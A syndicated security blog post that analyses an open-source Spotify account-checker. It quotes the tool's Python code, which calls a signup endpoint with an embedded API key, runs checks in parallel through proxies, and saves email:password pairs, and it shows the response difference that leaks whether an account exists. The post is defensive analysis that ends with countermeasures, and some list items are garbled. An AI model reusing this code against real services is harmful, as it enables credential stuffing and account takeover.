
In this blog post, we study the Spotify-Account-Checker open source project. The author describes it as:
“An automated tool for checking the validity of Spotify accounts with proxy support, multi-threading capabilities, and Discord Rich Presence integration.”
At first glance, checking whether an account exists may look harmless. It does not authenticate users and it does not modify any data. However. from a security standpoint, this is not a neutral signal.
Leaking whether an account exists is a well-known weakness called account enumeration. OWASP explicitly documents that attackers use these signals to collect valid usernames or emails, which makes brute force and credential stuffing attacks more efficient.
We investigate how the account checker operates, the techniques used to scale the enumeration, and what countermeasures you should implement to protect against account enumeration.
status: 20) or not (status: 1).requestsbased HTTP client, proxy support, and multi-threading via ThreadPoolExecutor.check_account function stores both email and password combinations, even though only the email is validated via the signup endpoint.Knowing that an email is registered is typically an intermediate step in a broader workflow.
This pattern is explicitly described in OWASP’s Web Security Testing Guide: collect valid identifiers first, then use them to optimize further attacks.
At a high level, the project:
The important point is technical and straightforward:
The tool does not rely on browser automation, TLS fingerprint spoofing, or advanced HTTP impersonation. It uses a standard Python HTTP client. Its effectiveness comes from the API returning a clear, machine-readable account existence signal.
When an endpoint leaks high-confidence information, even basic automation is sufficient to extract value.
The checker relies on the following endpoint:
https[:]//spclient[.]wg[.]spotify[.]com/signup/public/v1/[email protected]&key=REDACTED&validate=1
Depending on whether the email is already registered, the JSON response differs.
{
"status":20,
"errors": {
"email":"That email is already registered to an account."
},
"country":"FR",
"minimum_age":15
}
{
"status":1,
"country":"FR",
"minimum_age":15
}
The difference between status: 20 and status: 1, combined with the explicit error message, provides a reliable enumeration oracle.
This is precisely the type of differential feedback OWASP recommends minimizing.
The core logic is implemented in the AccountChecker class:
The check() method sends a GET request and interprets the JSON response:
def check(self, email: str) -> bool:
response = self.session.get(f'<https://spclient.wg.spotify.com/signup/public/v1/account?email={email}&key=bff58e9698f40080ec4f9ad97a2f21e0&validate=1>')
if response.status_code == 200:
if response.json()['status'] == 20:
return True
else:
return False
else:
log.failure(f"Failed to check {email[8]}... : {response.text}, {response.status_code}")
return None
The logic is:
status == 20, the email is considered registered.There is no ambiguity in how the signal is extracted.
The check_account function takes both email and password as input:
def check_account(email: str, password: str, Misc: Miscellaneous) -> bool:
max_retries = config['dev'].get('MaxRetries', 3)
retry_delay = 1
account_line = f"{email}:{password}"
for attempt in range(max_retries):
try:
proxies = Misc.get_proxies()
Account_Checker = AccountChecker(proxies)
verified = Account_Checker.check(email)
if verified is not None:
if verified:
with Misc.valid_file_lock:
with open("output/valid.txt", "a") as f:
f.write(f"{account_line}\\n")
f.flush()
log.success(f"Valid Account: {email[:8]}... | {password[:8]}...")
# ...
Only the email is used to query the signup endpoint. The password is not validated through this API.
However, when the account is marked as valid, the script stores the full email:password pair in output/valid.txt.
The repository does not implement a login phase. But structurally, this pattern mirrors a common attack workflow:
Pre-validating account existence before attempting login reduces noise, avoids unnecessary authentication traffic, and increases the efficiency of credential stuffing campaigns.
The goal here is not to attribute intent to the author of the project. Rather, this detail illustrates a broader point: account enumeration is frequently an initial step in multi-stage attack chains. Even if the enumeration logic appears isolated, its output can be directly reused in downstream abuse workflows.
The tool uses Python’s requests library with a standard Session:
def __init__(self, proxy_dict: str = None):
self.session = requests.Session()
self.session.headers = {
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
}
self.session.proxies = proxy_dict
Technical observations:
requests.Session() with minimal custom headers.session.proxies.In other words, this is standard HTTP automation. The barrier to entry is low because the endpoint itself provides a clean account existence signal.
The script increases throughput using ThreadPoolExecutor:
with ThreadPoolExecutor(max_workers=thread_count) as executor:
futures = []
for email, password in accounts: # Now we can safely unpack
futures.append(executor.submit(check_account, email, password, Misc))
for future in as_completed(futures):
try:
if future.result():
total = title_updater.increment_total()
status.total_accounts = total
except Exception as e:
log.failure(f"Thread error: {e}")
This transforms a single validation request into bulk enumeration by running multiple checks in parallel.
From a defender perspective, this matters because enumeration attempts can be distributed across IPs and executed concurrently, making naive rate limits insufficient.
If your API returns materially different responses for existing versus non-existing accounts, assume it can be automated.
Options include:
Signup validation, forgot-password, and login endpoints are often the first step in account takeover workflows. They should be protected accordingly.
Even if an endpoint does not grant access, it can enable attack optimization.
Defensive measures may include:
If an endpoint is intended only for first-party clients, consider requiring additional proof of client legitimacy:
These mechanisms can be reverse engineered, but they increase attacker cost and reduce trivial automation.
This project illustrates a recurring pattern in abuse workflows:
*** This is a Security Bloggers Network syndicated blog from The Castle blog authored by Antoine Vastel. Read the original post at: https://blog.castle.io/account-enumeration-in-the-wild-analyzing-a-real-world-spotify-enumeration-tool/